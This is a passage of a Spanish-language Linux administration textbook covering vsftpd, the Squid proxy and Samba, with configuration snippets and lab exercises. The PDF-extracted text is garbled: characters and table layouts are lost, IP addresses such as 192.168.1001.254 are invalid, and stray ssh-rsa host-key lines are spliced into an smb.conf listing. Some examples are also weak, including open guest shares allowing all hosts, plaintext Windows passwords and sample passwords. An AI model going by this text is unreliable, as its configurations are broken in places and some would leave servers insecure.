Habilita que usuarios anonymous entren y descarguen archivos
pblicos del sistema
Apunta hacia el directorio donde iniciar el usuario anonymous
Indica el ancho de banda por segundo o tasa de transferencia que
se le asignar al usuario
Indica que si la direccin suministrada en el password del usuario
anonymous concuerda con una direccin de este archivo se le
deniegue el acceso.
Usuarios Guest
Una conexin con usuario de tipo guest pide autenticacin al usuario pero lo limita a una cuenta sin
propiedades de administracin, adems lo limita a un directorio especifico dentro del sistema de archivos, si
un hacker compromete el sistema con este usuario quedar limitado al directorio del usuario guest. Para
configurar este comportamiento modifique el archivo de configuracin /etc/vsftpd.conf:
Parmetro
guest_enable=YES
guest_user_name=guest
chroot_local_user=YES
passwd_chroot_enable=YES
5.3
Funcionalidad
Habilita que usuarios de tipo guest entren y descarguen archivos
pblicos del sistema
Hace una traslacin del usuario de tipo guest hacia el usuario o
cuenta guest. Esta cuenta debe existir en el sistema Linux.
Indica que el usuario no podr moverse fuera del rbol de
directorios que se le asigno
Esta opcin combinada con chroot_local_user obliga al usuario a
usar el home directory indicado en /etc/passwd.
Usuarios reales
Una conexin con usuario de tipo real pide autenticacin al usuario local que debe existir en el archivo
/etc/passwd, el usuario local puede o no estar limitado a un directorio especifico dentro del sistema de
archivos, si un hacker compromete el sistema con este usuario quedar limitado al directorio del usuario en
cuestin.
Para configurar este comportamiento modifique el archivo de configuracin /etc/vsftpd.conf:
225
Parmetro
local_enable=YES
Write_enable=yes
chroot_local_user=YES
User_config_dir=/etc/vsftpd_user_conf
Funcionalidad
Habilita que usuarios locales entren y lean o graben
archivos en su directorio. Por defecto el usuario root
esta denegado.
Habilita que el usuario pueda escribir en el servidor
Indica que el usuario no podr moverse fuera del rbol
de directorios que se le asigno
Es opcional.
Sirve para controlar que en este directorio quede un
archivo de configuracin por cada usuario. El nombre
del archivo es el nombre del usuario, el formato del
archivo es igual al vsftpd.
226
6.0
Prerrequisitos:
#
#
#
#
#
#
#
#
#
#
Se debe crear un usuario denominado col con password sistemas para hacer las pruebas de
conexin en el mismo servidor
Para revisar si el software esta instalado en un Linux basado en redhat revise con el comando rpm
q vsftpd
Para instalarlo sobre un Linux basado en debian el comando seria apt-get install vsftpd
Para instalarlo desde el archivo tarbal sobre cualquier versin de Linux, siga los siguientes pasos:
cd /tmp
tar xzvf vsftpd*
cd vsftpd*
make
useradd nobody
mkdir p /usr/share/empty
mkdir p /var/ftp
make install
cp vsftpd.conf /etc
vi /etc/vsftpd.conf, y haga la variable listen = YES, y pam_service_name=vsftpd
Paso 1:
Haga un ftp al nombre de servidor localhost
# ftp localhost
Le permite conectarse?
Como saber si el servicio ftp ya esta habilitado?
Para que el servicio vsftpd se cargue en tiempo de inicio en forma automtica por el superproceso xinetd, se
debe editar el archivo /etc/xinetd.d/vsftpd, y la variable disable debe estar desactivada as: disable=no
service ftp
{
socket_type
protocol
wait
user
server
disable
}
= stream
= tcp
= no
= root
= /usr/sbin/vsftpd
= no
227
session required
pam_unix2.so
Paso 2:
Prueba si hay conectividad con el usuario anonymous y clave a@b.com
# ftp localhost
Al no tener conectividad debe habilitarse esta capacidad en el siguiente paso.
Paso 3:
Edite el archivo de configuracin /etc/vsftpd.conf y configure las siguientes variables:
anonymous_enable=YES
local_enable=YES
write_enable=Yes
Para que los cambios tomen efecto, reinicie el servicio, digite en la lnea de comandos:
# /etc/init.d/xinetd restart
Pruebe haciendo una sesin ftp con el usuario col y password sistemas
# ftp localhost
Trate de devolverse del directorio actual, se lo permite el ftp?
Paso 4:
Para evitar que el usuario se devuelva entre directorios, edite el archivo de configuracin /etc/vsftpd.conf y
modifique el parmetro:
chroot_local_user=YES
Para que los cambios tomen efecto digite en la lnea de comandos:
# /etc/init.d/xinetd restart
Trate de devolverse del directorio actual, se lo permite el ftp?
Paso 5:
Para cuando un usuario escriba archivos en el servidor la mascara debe ser el defecto:
local_umask=022
Para habilitar que cuando el usuario entre en algn directorio le salga una ayuda:
dirmessages_enable=YES
Para hacer logs cuando se hagan transferencias de archivos.
xferlog_enable=YES
Para asegurarse que el servicio este en el puerto numero 20:
connect_from_port_20=YES
228
Sugerencia: No se recomienda usar FTP para el intercambio de archivos, debido a que el usuario y el
password viajan en la red en claro por lo tanto se debe utilizar ssh o sftp
229
Captulo 9
Asegurando la infraestructura de red
PROXY
1.0
PROXY
Un Firewall es un conjunto de limitaciones de acceso para hacer nuestros servidores ms seguros frente al
mundo exterior. Hay dos clases de firewall, los de filtros de paquetes y los de aplicaciones. A los firewall de
filtros de paquetes se les llama firewall de nivel de red, pero a los firewall de tipo proxy se les denomina
firewall de aplicaciones debido a que estos servicios estn por encima del nivel de red en el modelo OSI de la
ISO.
Existen muchos programas firewall de tipo proxy para Linux algunos son:
230
El cliente de la red local generalmente debe ser configurado antes de que este pueda usar el servidor proxy,
el servidor proxy se sita en el medio entre Internet o la red externa y la red local entonces el proxy acta
como un relevo Internet relay de acceso a Internet. El servidor proxy recibe los requerimientos de los
clientes y los reenva hacia Internet.
El servidor proxy mantiene un cache en disco duro de los documentos que accedieron ltimamente a
Internet de algn trfico especfico, para cuando un usuario de la red local llame a un documento que fue
consultado ste deber estar en el cache y el servidor web no deber traer nuevamente el documento;
obviamente hay datos que no se llevan a cache como las pginas web generadas por scrips cgi (Common
gateway interface) y los mensajes de error que el servidor web enva a los clientes.
La idea desde el punto de vista telemtico es disminuir la utilizacin del ancho de banda por accesos a
Internet, los accesos se pueden limitar dependiendo de la parametrizacin por medio de las listas de control
de acceso.
A menudo a los proxys se les llama Gateway de aplicaciones, un proxy transparente trabaja de la mano
con un firewall de filtro de paquetes para permitir otros servicios diferentes al acceso http.
231
El software SQUID es un servidor proxy para servicios de Internet, este puede ser configurado como Proxy
genrico o como Transparent proxy.
La pgina web del grupo de desarrollo de SQUID es http://www.squid-cache.org
Una deficiencia del proxy genrico es que se debe configurar una aplicacin proxy por cada servicio de red
como ftp, correo, web, news, etc.
Squid no soporta protocolos de datos streaming como Real Audio o Real video.
Squid no soporta los protocolos de correo POP, IMAP y NNP.
232
2.0
La configuracin del servidor Linux como un servidor de Firewall de aplicaciones proxy se realiza a travs de
la interface web de Linux webmin.
Tome la opcin servers, Squid Proxy Server:
Antes de poder trabajar con el servidor proxy Squid, es necesario inicializar la cache del servidor Proxy, con
lo cual necesitamos definir un usuario con el cual se ejecute el servidor Proxy. Para ello creamos el usuario
"proxy" y el grupo "proxy " (Ambos creados por el sistema webmin). El mismo debe poseer como shell
/bin/false.
Despus ingresaremos a "Administrative Options" y verificaremos que el usuario y grupo seleccionados sean
los correctos.
Ingresamos a "Cache Options" y definimos el directorio donde almacenaremos los archivos de cache de
Squid "Cache Directory, el tamao del cache y los directorios de primer nivel y segundo nivel, que es la
forma que Squid utiliza para administrar l cache. El directorio donde almacenar los archivos puede ser el
directorio por omisin de Squid (/usr/local/squid/cache) o aquel que definamos nosotros. El directorio debe
ser creado previamente para poder trabajar con Squid. Si se desean utilizar mas de un directorio para
almacenar el Cache, estos deben ser creados de a uno por vez.
Una vez realizados estos pasos podemos inicializar l cache con el botn "Initialize Cache" o "Clear and
Rebuild Cache".
233
# /etc/init.d/squid start
El men de configuracin de Squid incluye las siguientes opciones:
234
/usr/local/squid/logs/squid.pid
debug_options : Indica el nivel de debug que se va a ejercer sobre el proxy . Se puede configurar segn
el nivel de log que se requiera o la calidad del mismo . Al ejecutarlo de la sgte. manera
235
debug_options ALL,1
En este caso haremos un log de todo el sistema con un nivel 1 que es el mas bajo, siendo el nivel mas alto
de log el 9.
reference_age: Es el tiempo mximo que un archivo permanecer en el cache. Despus de esto el archivo
es eliminado del cache, el valor por omisin es un mes .
reference_age 1 month
cache_efective_user: Es el usuario con el cual se guardaran los documentos en el disco.
cache_efective_user nobody
cache_efective_group: Es el grupo con el cual se guardaran los documentos en el servidor .
cache_efective_group nobody
visible_hostname : Si en los mensajes de error desea que aparezca el nombre del servidor.
visible_hostname squid.sco.com
3.0
Se puede limitar el acceso a los usuarios de la red local hacia Internet, o hacia determinadas pginas o
servidores web.
Para ello se utiliza el comando acl, que son las listas de acceso que nos limitaran el acceso a Internet.
El lmite impuesto a los usuarios se compone de 2 comandos, http_access y acl.
236
Con acl se construye la lista de direcciones IP, direcciones WEB o aquello que sea requerido para despus
utilizar el http_access y denegar o autorizar el acceso a los diferentes recursos.
La sintaxis genrica es:
acl <nombre_acl> <tipo_acl> <direccin>
Para controlar puertos:
acl <nombre_acl> port <numero puerto>
Para controlar url:
acl <nombre_acl> url_regex <expresin_regular o archivo>
Para controlar el acceso por tiempo:
acl <nombre_acl> time <Abreviatura del da> <h1:m1-h2:m2>
Donde las abreviaturas del da son:
S-sunday (Domingo)
M-Monday (Lunes)
T-Tuesday (Martes)
W-Wednesday (Mircoles)
H-Thursday (Jueves)
F-Friday (Viernes)
A-Saturday (Sabado)
237
4.0
Tambin podemos configurar el servidor proxy para que permita el acceso al sistema de solo aquellos
usuarios que hayan iniciado sesin en el proxy.
Crear una lista con "External Auth" y valor REQUIRED, Nivel de acceso Allow
En la pantalla de configuracin principal de Squid ir a "Helper Programs -> Custom authentication Program"
e indicar ah algunas de las opciones de autenticacin.
Los mtodos de autenticacin disponibles son:
Servidor de Dominio Samba/Microsoft:
/usr/lib/squid/smb_auth -W DOMINIO
Servidor LDAP:
/usr/lib/squid/squid_ldap_auth -b dc=lacositarica,dc=com -u cn -s sub 1.2.3.4
Archivo de claves
/usr/lib/squid/nsca_auth
/etc/squid.d/claves
Analizaremos caso por caso el como verificar la correcta conexin a los distintos servicios
Servidor de Dominio:
# /usr/lib/squid/smb_auth -W DOMINIO -d usuario clave
La nica diferencia radica en la autenticacin del usuario bajo el sistema de controlador de dominio, en
el que en el directorio de \\NETLOGON del usuario debemos crear el archivo proxyauth que contenga
solamente la palabra "Allow" y con permisos 444.
Adems deberemos agregar en el archivo /usr/lib/squid/smb_auth.sh las siguientes lneas
SAMBAPREFIX=/usr;
238
export SAMBAPREFIX;
Servidor LDAP:
# /usr/lib/squid/squid_ldap_auth -b dc=lacositarica,dc=com -u cn -s sub 1.2.3.4 usuario clave
Archivo de claves
Para crear el archivo de claves digite:
# htpasswd -c /etc/squid.d/claves
# htpasswd
/etc/squid.d/claves
usuario
usuario2
Edite /etc/squid.d/squid.conf y edite la lnea ncsa_auth para que permita validar los usuarios contra un
password:
authenticate_program
/usr/sbin/ncsa_auth
/etc/squid.d/claves
password
proxy_auth
http_access
allow
password
REQUIRED
5.0
/usr/sbin/ncsa_auth
/etc/shadow
Messenger es un servicio que permite la funcionalidad P2P para que dos usuarios intercambien archivos o
hagan chat. Este servicio cambia de puertos con frecuencia y no ha sido fcil bloquearlo en forma
automtica. Para bloquearlo en forma permanente se debe utilizar un ACL de tipo MIME:
acl
MSN
http_access
req_mime_type
deny
-i
^application/x-msn-messenger$
MSN
# filemaker
# multiling http
239
240
##### Downloads
acl download rep_mime_type ^.*video.*
acl download rep_mime_type ^.*audio.*
http_reply_access deny download
241
6.0
acl
EXE
http_access
urlpath_regex -i \.gif$
deny
EXE
242
7.0
Laboratorio:
Prerrequisitos:
Suponga que el servidor tiene dos interfaces de red la eth1 con IP vlido 200.93.178.2 para acceso a
Internet, adicionalmente se cuenta con la eth0 como gateway de usuarios con la IP 192.168.1001.254
Se deben tener las siguientes reglas:
a)
b)
c)
d)
Los gerentes, subgerentes y los funcionarios de sistemas pueden tener acceso no restringido a
Internet, sus IP estn desde la direccin 192.168.1001.15 al 192.168.1001.17
Los usuarios del rea administrativa con IPs del 192.168.1001.51 y 192.168.1001.52 pueden salir a
Internet desde las 7:00AM hasta las 12:00M a los sitios definidos en la lista autorizados
Los usuarios del rea de produccin con IPs del 192.168.1001.110 y 192.168.1001.111 pueden
salir a Internet desde las 13:00PM hasta las 18:00PM a los sitios definidos en la lista autorizados
La lista de los sitios autorizados son: www.unixgroup.com.co www.mvaonline.com
www.tarantella.com.co www.tarantella.com www.linux.org y www.unincca.edu.co
allow
allow
allow
allow
www.sco.com.co
localhost
IPGerencias
IPAdministrativo MANIANA
SitiosAutorizados
IPProduccion
TARDE SitiosAutorizados
Ahora debe indicar el nmero del puerto que realmente usa el servidor web:
httpd_accel_port 80
Debemos indicarle a squid que funcione como servidor acelerador httpd local y como servidor proxy:
httpd_accel_with_proxy on
243
244
8.0
cd /tmp
tar zxvf sarg-x.y.z.tar
cd sarg-x.y.z
./configure
make
make install
Para generar los reportes se debe usar el comando sarg, para mayor informacin digite en la consola de
Linux el comando #man sarg.
Ejemplos de generacin de informes:
Informe general con resolucin de nombres. Si desea el informe por direcciones IP quite la opcin -n
#sarg o /root/squid-reports/ -f /var/log/squid/access.log -n
Nota: Webmin permite hacer estos reportes sin bajar a la lnea de comandos.
245
Captulo 10
Asegurando los servicios de red
SAMBA
1.0
Historia de Samba
Samba es la implementacin del protocolo SMB que utilizan los sistemas operativos de Microsoft para
compartir archivos e impresoras.
Microsoft e Intel desarrollaron el sistema de protocolo SMB en 1987 y posteriormente Andrew Tridgell lo
integr a los distintos sistemas Unx y despus a Linux. Hoy Samba se puede ejecutar sobre Unixware,
Openserver, y cualquier sabor de Linux.
La Suite de Samba est formada por varios componentes. El demonio smbd proporciona los servicios de
archivo e impresin a los clientes SMB, el archivo de configuracin para este demonio es smb.conf.
El demonio nmbd suministra el Servicio de Nombres de Dominio de NetBios ( Sistema Bsico de
Entrada/Salida para Red ) as como soporte para la navegacin entre carpetas en disco duro.
2.0
Samba es una coleccin de programas que implementan el protocolo SMB (Session Message Block). Este
protocolo es usado por Microsoft Windows 3.11, NT y 95 para compartir discos e impresoras. Usando el
paquete de herramientas Samba creado por Andrew Tridgell, las mquinas UNX y Linux pueden compartir
discos e impresoras con servidores Windows.
246
Qu hace Samba ?
Hay cuatro cosas que se pueden hacer
con Samba:
1. Compartir una unidad de Linux con
mquinas Windows.
2. Compartir una unidad de Windows con
mquinas Linux.
3. Compartir una impresora de Linux con
mquinas Windows.
4. Compartir una impresora de Windows
con mquinas Linux.
Slide 2
3.0
Archivos de configuracion
247
Archivos de Configuracin
/etc/samba.d/smb.conf
En este archivo tambin se configura
el demonio nmbd que provee servicios
como nameserving y browsing.
El demonio smbd permite compartir
ficheros e impresoras gestionando el
servicio de autentificacin as como
los derechos de los usuarios.
Slide 2
Secciones
Una seccin empieza con el nombre dentro de corchetes y contina hasta que la siguiente seccin comienza.
Las secciones contienen parmetros de la forma:
name = value
Toda lnea que inicie con punto y coma (;) o smbolo numrico (#) es
ignorada, adems cualquier
inclusin en la lnea del carcter \ indica que la lnea contina en la lnea siguiente de la manera
acostumbrada en UNIX.
Algunas de las secciones ms importantes de este archivo de configuracin son:
[global]
Los parmetros en esta seccin se aplican al servidor en su totalidad o son valores por defecto para las
secciones que no definen especficamente ciertos items, veamos un ejemplo:
# Global parameters
[global]
workgroup = BOGOTA
netbios name = LABORATORIO
server string = Samba Server
bind interfaces only = yes
interfaces=eth0, eth0:1, lo
security = users
encrypt passwords = Yes
username map = /etc/samba.d/smbusers
password level = 8
username level = 8
log file = /var/log/samba.d/smb.%m
max log size = 200
socket options = TCP_NODELAY SO_RCVBUF=8192 \ SO_SNDBUF=8192
248
4.0
Parmetros
Los parmetros definen atributos especficos de una seccin. Algunos parmetros son especficos para la
seccin [global] ( ej security ), mientras que otros pueden ser utilizados en todas las secciones ( ej create
mode ).
249
Muchas de las cadenas que se encuentran en el archivo de configuracin pueden ser sustituidas. Por
ejemplo, la opcion path = /tmp/%u puede interpretarse como path = /tmp/john si el nombre de
usuario que se ha conectado es john.
Las variables de sustitucin ms comunes son:
Variable de Sustitucion
%S
%P
%u
%g
%U
%G
%H
%v
%h
%m
%L
%a
%I
Descripcin
Nombre del servicio actual
Directorio raiz del servicio actual
Nombre de usuario del servicio actual
Nombre del grupo primario %u
Nombre de usuario de la sesion
Grupo primario de %U
Directorio raiz del usuario dado por %u
Version de Samba
Hostname de Internet en el cual samba se esta
ejecutando
Nombre NetBios de la maquina del cliente
Nombre NetBios de la maquina servidor
Arquitectura de la maquina remota
Direccion IP de la maquina del cliente
250
5.0
SWAT es una herramienta de configuracin del archivo /etc/smb.conf que utiliza un navegador Web como
interface. SWAT agrupa la documentacin sobre Samba smbd, nmbd y sobre todos los servicios asociados a
estas aplicaciones, permite igualmente agregar archivos impresoras compartidos, lanzar demonios smbd y
nmbd, verificar las conexiones de los recursos compartidos y gestionar las claves.
Este programa viene habilitado por defecto en el WEBMIN en la pestaa SEVERS.
Tambin puede accederlo por netscape digitando en el campo de la direccin (localhost:901):
Opciones:
Home:
Aqu se encuentran todas las pginas de tipo man o manuales y documentacin sobre Samba.
Existen 5 categoras :
Globals:
Reagrupa
parmetros de configuracin de un servidor Samba.
Existen 3 botones en la parte superior de la pgina :
El primero, Commit Change, valida el conjunto de cambios.
El segundo, Reset Values, permite inicializar el conjunto de campos .
El ltimo, Advanced View, permite entrar en un modo de administracin ms avanzado.
251
el
conjunto
de
La configuracin de Samba contiene 6 secciones principales: las opciones de base, la seguridad, las
conexiones, configuracin del protocolo, la navegacin y los servidores WINS.
Opciones de base
En
esta
parte, se definen los campos principales de identificacin de la mquina en la red. Corresponden a los datos
que aparecen en la ventana Network Neighborhood bajo Windows.
Workgroup: Bogota (este es el nombre de nuestro dominio o grupo de trabajo)
netbios name Laboratorio (este es el nombre que se vera en el entorno de red)
server string Samba Server (una breve descripcin)
Opciones de seguridad
En esta seccin, se trata de configurar la seguridad para el acceso a datos compartidos. La opcin security
sirve para elegir el modo principal de seguridad entre cuatro niveles (share, user, server y domain).
La administracin del encriptamiento de las claves en encuentra en este nivel. La ayuda a la configuracin
est bien gestionada por cada una de estas opciones, accediendo as directamente al prrafo adecuado de la
pgina man en /etc/smb.conf.
La definicin de una cuenta invitado (guest account) permite el acceso a los recursos sin tener que ingresar
una clave. Para ello habra que definir la seguridad en el nivel share. Finalmente, se puede prohibir el
acceso a las zonas que se comparten.
En la versin avanzada de la configuracin, se puede definir una lista de usuarios que tengan acceso a los
recursos compartidos, administrar las claves y definir mscaras de derechos pre-configuradas en los archivos
(equivalente al comando umask).
Security SHARE (esta es quizs la forma mas fcil de compartir recursos)
Guest account nobody (esta cuenta permite que cualquier usuario pueda ver el servidor linux)
Host allow all (esta opcion permite que cualquier computadora pueda ver muestro servidor)
252
Shares
Este tercer cono representa los elementos compartidos.
compartido, debe ir al
junto al boton Create
nombre
del
nuevo
En la pantalla siguiente, aparecer un cuadro de opciones bsicas y de seguridad, las cuales se configuran de
la siguiente manera:
Comment : Directorio de
prueba
path : /directorio (la
ubicacin
de
nuestro
directorio)
guest account : nobody
read only : no (los usuarios podrn leer y escribir)
guest ok : yes (todo mundo puede ver este directorio)
host allow : all (cualquier computadora puede ver este directorio).
Finalmente se guardan los cambios presionando el botn Commit Changes
Printers
Esta seccin representa las impresoras que estn compartidas segn el mismo principio del manejo de
archivos.
253
Primero se crea el directorio printer escribiendo lp en el campo que esta junto a Create Printer y luego click
sobre el boton Create Printer.
En la siguiente pantalla se configurarn las opciones bsicas del manejo de impresoras:
I m p r e s i n
I m p r e s i n L o c a l y R e m o t a
A d ic io n a r u n a I m p r e s o r a
C o m p a r t ir u n a im p r e s o r a
I m p r e s i n d e u n d o c u m e n t o e n
e l e n t o r n o g r f ic o y e n ln e a d e
c om and os.
S lide 2
254
sobre todo en el dilogo imprimir, que se encuentra bajo el comando con el mismo nombre en el men
Archivo.
C o m a n d o s y T ru c os
sm b c lie n t
sm b r u n
t e st pr n s
t e st pa rm s
sm b .c o n f
SW AT
S lide 2
6.0
Comandos
255
7.0
Trucos
Hay una manera diferente de acceder a Swat y es por medio de un navegador como Internet Explorer,
Netscape, Konkeror, etc, al digitar el URL HHTUTUhttp://<localhost>:901UUTTHH.
Si esto no funciona entonces se deben agregar dos lneas en los archivos de configuracin que se encuentran
en /etc. Primero, hay que agregar en el archivo /etc/services la lnea siguiente:
swat 901/tcp
El nmero de puerto especificado no tiene importancia, mientras que ste no se encuentre ocupado y que
sea inferior a 1024. Luego se debe modificar el archivo /etc/inetd.conf, agregando lo siguiente :
swat stream tcp nowait.400 root /usr/sbin/swat swat
Es suficiente con reiniciar el servicio inet a travs del comando kill -1 inetd kill -HUP inetd. Luego en el
explorador web se escribe la URL http://<localhost>:901, localhost ms el nombre de su mquina en el
servidor Samba.
Compartir archivos en entornos Windows: Samba
El siguiente documento es utilizado para la configuracin de Samba bajo Linux en sus diferentes
configuraciones con las utilidades de administracin Webmin y SWAT.
Requerimientos mnimos:
Los siguientes paquetes son requeridos para la instalacin de Samba:
glibc
Libpam
Lipwd
Cups
Openssl
Dentro de esta seccin encontraremos muchos de los servicios que nos proporciona Linux, pero aquel en el
que estamos interesados es Samba, por lo tanto iremos a "Samba Windows File Sharing" en donde vemos
que se encuentra la configuracin de los "Recursos del sistema", siendo estos los directorios o impresoras a
compartir; las "Opciones de configuracin", donde configuraremos el servidor (controlador de dominio,
256
manejo de claves encriptadas, conectividad a la red, etc.) y un botn para reiniciar el servidor una vez
modificado alguno de sus parmetros.
* Compartiendo directorios:
Crearemos un directorio compartido, a travs del botn "Create a new share".
Podemos ver que contiene los mismos parmetros de configuracin que a travs de la consola, siendo:
Share name
Directory to share
Share comment
Del mismo modo encontramos opciones de configuracin respecto de la seguridad, convencin de nombres u
otras alternativas. Dicha configuracin ser por interfaz WEB, y las modificaciones que se realicen se
grabaran en el archivo /etc/samba.d/smb.conf.
257
Finalmente cualquier usuario desde el "Entorno de Red" de su computadora Windows, puede acceder a los
recursos compartidos de nuestro servidor Linux.
Compartiendo impresoras:
Para configurar una impresora compartida, seleccionaremos en la pantalla principal de Samba el botn
"Create a new printer share"
Como en el caso de los archivos compartidos, en la configuracin de las impresoras tambin podemos
configurar la seguridad y dems opciones de impresin. Los parmetros ms importantes a tener en cuenta
son:
Share name
Unix printer
Spool directory
Available
Comment
Descripcin de la impresora
Para poder conectarse desde una computadora Windows a nuestra impresora de red en Linux, deber abrir
el "Administrador de impresin" y buscar la impresora como una impresora de red, del mismo modo que lo
hacemos cuando queremos conectarnos a una impresora compartida Windows.
- Configuracin del servidor
Las opciones de configuracin del servidor son:
258
UNIX Networking
Windows Networking *
Workgroup
Server description
WINS
Server Name
* En esta seccin se configura Samba como un controlador de dominio. Para ello es necesario crear los
directorios de "netlogon" y "profile" y habilitar la seguridad a nivel de usuarios con servicio de dominios
habilitados.
Authentication
Use
password
Use mapping
Printcap file
Printing Options
259
Podemos ver que se encuentran especificados todos los Filesystems que se encuentran utilizados por el
sistema. No estn indicados solo los discos locales, sino tambin se pueden especificar recursos compartidos
de la red como ser filesystems NFS o en este ejemplo "Windows Networking Filesystem", que es un
directorio compartido Windows.
Asi como podemos acceder a un directorio Windows a traves del Webmin, podemos hacerlo con el comando
mount:
mount
t
smbfs
o
username=usuario,password=clave
\
UU//PC_Windows/dir_compartido
/directorio_localUU
En este ejemplo accederemos a un directorio compartido Windows :
En donde el "Punto de montaje" es el equivalente a la unidad de red en Windows. Cuando deseemos acceder
a la computadora remota, solo debemos acceder al directorio indicado all. Es de hacer notar que el
directorio debe estar vaco.
260
Configuracin de conexin:
Samba puede utilizarse en alguno de los siguientes modos :
Compartir archivos con computadoras Windows 95
Compartir archivos con computadoras Windows 98
Compartir archivos con computadoras Windows XP
Integrarse a un dominio.
Ser controlador de dominio nico (PDC)
Dado que algunas de las opciones ( Integrarse a un Dominio y actuar como PDC) que necesitamos configurar
no se encuentran en Webmin, utilizaremos SWAT (Samba Web Administration Tool) que nos permitir las
mismas funciones y mas. Para iniciarlo debemos verificar que el paquete SWAT (rpm q swat) se encuentre
instalado e iniciar la interfaz en http://localhost:901
8.0
Esta configuracin es la primera desarrollada por Samba y solo debemos tener configurar estos elementos:
Global -> Nivel de Seguridad = Share
Global -> Encripcin de passwords = No
Todos los usuarios a los cuales se les permita el ingreso al sistema deben tener habilitada su clave, en el
archivo smbpasswd
Compartir archivos con computadoras Windows 98:
Esta configuracin es la segunda utilizada por el sistema y mantiene una equivalencia de usuarios contra
Windows 98 o Windows 95 OSR2. Al configurarlo cambian algunos de los parmetros anteriormente
mencionados
Global -> Nivel de Seguridad = User
Global -> Encripcin de password = Yes
Todos los usuarios a los cuales se les permita el ingreso al sistema deben tener habilitada su clave, en el
archivo smbpasswd, o en el rea de claves.
Integracin a un dominio:
Para poder integrarse a un dominio NT (NT4 W2K) debemos tener en cuenta la siguiente configuracin:
Global -> Workgroup Name = Nombre de dominio
Global -> Netbios names = Nombre del servidor
Global -> Security = Domain
Global -> Password server = *
Global -> Encrypt passwords = Yes
Global -> User map = /etc/samba.d/smbusers
Controlador de dominio nico (PDC):
Tambin podemos configurar Samba para actuar como un PDC de dominio. La nica diferencia que tendr
contra un PDC de Microsoft es que no posee servicios de replicacin de dominios. Esta caracterstica se
espera que este disponible para Samba 3.0
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
->
->
->
->
->
->
->
->
->
->
261
Global
Global
Global
Global
Global
Global
Global
->
->
->
->
->
->
->
Logon Drive = H:
Domain Logons = Yes
OS Level = 35
Preferred Master = Yes
Domain Master = Yes
Admin Users = root
Printing = CUPS
Adems de las opciones mencionadas anteriormente, los directorios netlogon, profiles, home de cada
usuario deben ser creados sin olvidarse de crear las cuentas del sistema para cada una de las computadoras
que intenten ingresar al mismo.
Se deben crear cuentas para cada computadora en Samba y en linux si se desea ser parte de un PDC
Para crear una cuenta de maquina XP desde el shell para linux debe ejecutar:
# useradd d /dev/null s /bin/false nombre_MAQUINA\$
# passwd l nombre_MAQUINA\$
Para crear una cuenta de maquina XP desde el shell para SAMBA debe ejecutar:
# smbpasswd a m NOMBRE_MAQUINA\$
Esto se debe hacer por cada nombre de maquina o PC XP.
Se debe agregar el usuario de cada maquina a SAMBA:
# smbpasswd a usuario
Se debe agregar al usuario root como administrador del PDC:
# smbpasswd a root
9.0
10.0
Sincronizacin
No se debe olvidar sincronizar las cuentas entre el servidor Linux y las estaciones con Windows. Es decir, si
en una mquina con Windows se ingresa como el usuario "java" con contrasea "javalink", en el servidor
Linux debe existir tambin dicha cuenta con ese mismo login y esa misma contrasea. Aada las cuentas
con los comandos TTadduserTT y TTpasswdTT, TT conTT con TTsmbadduserTT y TTsmbpasswdTT.
262
Esta sincronizacin tambin se puede realizar desde el modo grfico por medio del Webmin. Esta opcin la
encuentra en Servers Samba Server.
Es importante recordar que Windows 98 primera edicin no encripta los password de los usuarios por
default, para habilitarlo siga el siguiente procedimiento:
Ejecute "regedit" y busque el registro:
HKEY_LOCAL_MACHINE \
System\
CurrentCrontrolSet\
Services\
VxD\
VNETSUP y adicione el DWORD "EnablePlainTextPassword" con el valor de "0", cuando se agrega el valor
Windows pregunta si en decimal o en hexadecimal.
11.0
/lib
Se encuentra el archivo de configuracin (smb.conf), as como el archivo lmhosts que se utilizara para
resolver la direccin de las mquinas si no se tiene un servidor WINS y antes de que lo haga por broadcast.
El archivo lmhosts posee la misma estructura que el archivo hosts de Windows. La sintaxis es la siguiente:
Direccion IP
Nombre Netbios
gipserver
/bin
Tiene todos los ejecutables del paquete samba, desde los demonios, hasta los chequeadores de parmetros
de configuracin pasando por los creadores de archivos de passwd.
/var
En este directorio se pueden encontrar los logs, tanto de los demonios como de las conexiones que ejecuten
los usuarios.
/private
En este directorio estarn los archivos de passwd de usuarios y
los numeros ID de las mquinas.
/man
En este directorio estn todos los manuales del paquete.
Bibliografa
Edicin especial Linux 6 edicin, David Bandel y Robert Napier, Prentice Hall, 2001.
Using Lacositarica Open Linux Special Edition, Allan Smart, Eric Ratcliffe, Tim Bird, David Bandel, Editorial
QUE, 1999.
12.0
Entre por el utilitario yast. Seleccione servidor samba, de la carpeta Inicio habilite Encender
Ahora tome la carpeta identidad, en Grupo de trabajo digite mvaonline, es decir el dominio de trabajo
Windows.
En controlador de dominio No DC.
El archivo quedara as:
263
264
[groups]
comment = All groups
path = /home/groups
read only = No
inherit permissions = Yes
browseable = yes
guest ok = no
printable = no
[pdf]
comment = PDF creator
path = /var/tmp
create mask = 0600
printable = yes
browseable = yes
guest ok = no
[printers]
comment = All Printers
path = /var/tmp
create mask = 0600
printable = yes
browseable = no
guest ok = no
[print$]
comment = Printer Drivers
path = /var/lib/samba/drivers
write list = @ntadmin, root
force group = ntadmin
localhost ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAu+DjTmEWkM2Pa6kHltj7YzE9efZI2HCoXs4/Uty+V+wULNDOsKej+AavP+
x0dvGQ2YIodS3oH/oO6cXIyCFBqstHHuAx7J6zocy5oVjdcDaJ+EjHbDe2SqtV4Iv4ZV0NnH03SrtKsnPIWs4m8i7
+nX2blH432mzeNf99zJ4tXv8=
localhost ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAu+DjTmEWkM2Pa6kHltj7YzE9efZI2HCoXs4/Uty+V+wULNDOsKej+AavP+
x0dvGQ2YIodS3oH/oO6cXIyCFBqstHHuAx7J6zocy5oVjdcDaJ+EjHbDe2SqtV4Iv4ZV0NnH03SrtKsnPIWs4m8i7
+nX2blH432mzeNf99zJ4tXv8=
localhost ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAu+DjTmEWkM2Pa6kHltj7YzE9efZI2HCoXs4/Uty+V+wULNDOsKej+AavP+
x0dvGQ2YIodS3oH/oO6cXIyCFBqstHHuAx7J6zocy5oVjdcDaJ+EjHbDe2SqtV4Iv4ZV0NnH03SrtKsnPIWs4m8i7
+nX2blH432mzeNf99zJ4tXv8=
create mask = 0664
directory mask = 0775
browseable = yes
guest ok = no
printable = no
[compartida]
comment = Carpeta para compartir informacion
writeable = yes
path = /datos
browseable = yes
guest ok = no
printable = no
265
13.0
Laboratorio
Configurar samba como un PDC que permita a maquinas clientes windows hacer inicio de sesin al servidor
